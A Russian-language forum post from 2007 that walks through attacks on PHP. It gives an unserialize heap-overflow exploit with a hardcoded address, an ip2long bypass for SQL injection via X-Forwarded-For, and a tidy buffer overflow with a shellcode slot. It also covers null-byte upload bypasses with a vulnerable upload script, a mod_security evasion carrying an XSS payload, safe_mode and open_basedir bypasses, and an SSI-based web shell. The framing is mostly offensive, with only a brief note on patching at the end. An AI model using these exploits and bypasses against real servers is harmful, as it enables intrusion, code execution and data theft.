Показать сообщение отдельно

  #3  
Старый 25.11.2007, 01:32
Евгений Минаев
Познающий
Регистрация: 12.11.2007
Сообщений: 69
С нами: 9734726

Репутация: 676
По умолчанию



----[ UNDER WHAT? UNDER SERIALIZE !... ]

PHP функция un/serialize используется для помещения данных в строку , представляющую из себя сериализованный массив . Часто
его используют для упрощения структуры хранения Cookie данных юзера . В различных версиях интерпретатора существовало не менее
пяти багов в этой функции - от банального переполнения буфера до получения нужной информации . На основе этой бреши для phpbb2
был написан эксплоит , представляющий из себя очень длинную строку , посылаемую разбитой в несколько частей в заголовке cookie ,
предварительно закодированной в url представлении . Большое колличество вложеных сериализированных массивов может запросто подвесить
php интерпретатор . В последствие это переросло в integer overflow в вызове функции ecalloc . В таком случае памяти выделится куда
больше чем было выделено под операцию обратную сериализации и приведет к исполнению кода после того как переменная будет удалена
из Zend HashTable.

PHP код:
php -> $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"'; unserialize($str); 
Эксплоит для linux , где адрес 0x08064058 является свободным для php , эксплоит выглядит так

PHP код:
php ->  $hashtable = str_repeat("A", 39);
    
    
$hashtable[5*4+0]=chr(0x58);
    
$hashtable[5*4+1]=chr(0x40);
    
$hashtable[5*4+2]=chr(0x06);
    
$hashtable[5*4+3]=chr(0x08);
    
$hashtable[8*4+0]=chr(0x66);
    
$hashtable[8*4+1]=chr(0x77);
    
$hashtable[8*4+2]=chr(0x88);
    
$hashtable[8*4+3]=chr(0x99);

    
$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
    for (
$i=0; $i<65535; $i++) {
    
$str .= 'i:0;R:2;';
    }
    
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';

    
unserialize($str); 
Полученный результат нужно использовать как аргумент при использовании unserialize.

----[ SPECIAL CHARS ... ]

Использование специальных непечатаемых символов в качестве аргументов , передаваемых функции часто приводит к очень "радостным"
результатам . Например прежде чем поместить ip адрес в базу данных его часто проверяют функцией ip2long , которая в случае если
адрес является неправильно сформированным вернет -1.

PHP код:
php -> ip2long ('123.231.222.111"'); -- -1 
Однако немного помучав функцию мы можем увидеть что строка , содержащая в себе символы , чьи коды равны 0,9,10,11,12,13 либо 32 вернет
неотрицательный результат.

PHP код:
php ->
    
    
for ($i=0; $i<=255; $i++)
    {
        echo 
$i.":".ip2long("1.1.1.1".chr($i)."'or'a'='a'/*")."\r\n";
    } 
На примере minibb взлом будет выглядеть так

PHP код:
header -> X-FORWARDED-FOR: 1.1.1.1'union select 1 
Использование нашего sql запроса является хоть и неудобным - потребуются специальные програмы чтобы отправить заголовок , но в таком
случае мы находимся в выигрыше - magic_quotes_gpc не распространяется на этот тип данных . К сожалению в minibb провести атаку не получится
- на строку выделяется всего 16 символов плюс один символ наш .

Функция из пакета tidy tidy_parse_string как и ее обратная - tidy_repair_string при локальном использовании позволяют переполнить
буфер с последующим выполнением шеллкода . Этот набор функций часто используется в wiki - скриптах.

PHP код:
php -> tidy_parse_string(1,str_repeat("A",2036)."\x8B\x51\x81\x7C".str_repeat("\x90",12).$shellcode,1); 
Очень серьезной является ошибка в функциях copy и move_uploaded_file - существуют символы , которые "обрубают" строку - аргумент
до вхождения этого символа . Обычно это null byte , а в некоторых nix системах и слеши .

PHP код:
php -> $filename    = trim($fileinfo, "\x00..\x1F"); 
Напишем скрипт , ничуть не отличающийся от множества , используемых для аплоада файла с проверкой расширения.

PHP код:
<?php

        $filename   
= $_FILES['userfile']['name'];
        
$allowed     = array ('gif','png','jpg');
        
$tmpname    = explode('.',$filename);
        
$extension     = $tmpname[count($tmpname)-1];
        
$allowed     = in_array($extension,$allowed) ? true : false ;
        if (
$allowed)
        {
            
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
            echo 
'uploaded!';
        }
        else
        {
            echo 
'aaah noooo!';
        }
        
    
?>

    <form enctype="multipart/form-data" action="test.php" method="post">
    Отправить этот файл: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
    </form>

На первый взгляд вполне логично , что файл с именем file.jpg.php не пройдет проверку , однако попробуем вставить null bute в имя файла и
в конечном виде получится чтото вроде my_data.php%00.jpg . Удачная попытка и наш файл залить с именем my_data.php . Такой же баг присутствует
и в функции copy().

Mod_secuirity , часто устанавливаемый вместе с апачем тоже подвержен уязвимостям . Внедря null byte в POST заголовок мы обманем фильтр
и не оставим в логах никаких записей , тк ids посчитает %00 концом строки

p
PHP код:
hp -> curl  http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script> 
Для облегчения труда был написан комплекс скриптов для тестирования функций на предмет переполнения буфера в передаваемых аргументах.
Одна часть скрипта получает список всевозможных функций и запускает второй скрипт с аргументом , вызывающий функцию по имени аргумента
и логирующий каждую ошибку.

----[ BASE DIR && SAFE MODE ... ]

Защищенный режим в PHP - это попытка решить проблему безопасности на совместно используемых серверах. Несмотря на то, что концептуально
неверно решать эту проблему на уровне PHP , но поскольку альтернативы уровня веб-сервера или операционной системы на сегодняшний день
отсутствуют, многие пользователи, особенно провайдеры, используют именно защищенный режим. Для управлением safe_mode в файле настроек php
имеется пара директив , определающих поведение безопасного режима.

safe_mode - отключает \ включает защищенный режим
safe_mode_gid - определяет доступ к скрипту по uid вызывающего его юзера
safe_mode_include_dir - разрешает подключение файлов только из определенной директории
safe_mode_exec_dir - разрешает выполнять команды оболочки только в определенной директории
safe_mode_allowed_env_vars - разрешает модификацию переменных , имеющих в названии определенную приставку
safe_mode_protected_env_vars - запрещает модификацию переменных при любом раскладе
open_basedir - ограничивает спискок файлов и директорий на чтения , не влияет состояние режима safe_mode
disable_functions - зарпещает выполнение функций из списка

В случае открытия файла , права на который не совпадает с правами юзера выдастя ошибка
PHP код:
    error -> Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not  allowed to access /etc/passwd 
    owned by uid 0 in 
/docroot/script.php on line 2 
Тот же самый эффект мы наблюдаем и с base_dir

PHP код:
error -> Warning: open_basedir restriction in effect. File is in wrong directory in  /docroot/script.php on line 2 
К сожалению , а может и к счастью safe mode уже научились обходить причем способом куча и редко встретишь сервер где не работает
ни один . Например одним из последних способов обмануть base_dir является принудительное выставление session.save_path в директорию ,
доступную на чтение.

PHP код:
php ->  ini_set("session.save_path", "/sessions/user2/");
    
putenv("TMPDIR=/sessions/user2/");
    
ini_set("session.save_path", "");
    @
session_start(); 
Использование префикса compress.bzip2:// или zip:// не учитываеся в safe mode , что позволяет читать файлы вне разрешенных директорий.
Логично , что действие safe mode распространяется только на php скрипты и мы можем использовать perl , python или SSI (Server Side Includes).
Для того чтобы последний метод заработал , надо выставить в апаче некоторые параметры запуска для файла в .htaccess

PHP код:
AddType text/html .shtml
    AddHandler server
-parsed .shtml
    Options 
+Includes 
И для того чтобы удобнее было использовать напишем своеобразный шелл на javascript


PHP код:
function execute() 
    {
        var 
cmd = document.exec.cmd.value;
        
document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>');
    } 
Не стоит отказываться от использования safe mode , достаточно следить за обновлениями php и своевремено ставить нужные патчи .
Другим действенным методом является внедрение сторонних разработок , таких как suPHP , разграничивающих использование скриптов в
зависимости от выставленных прав либо поставить phpsafemode.patch , принцип работы которого не особо отличается от предыдущего варинта.
 
Ответить с цитированием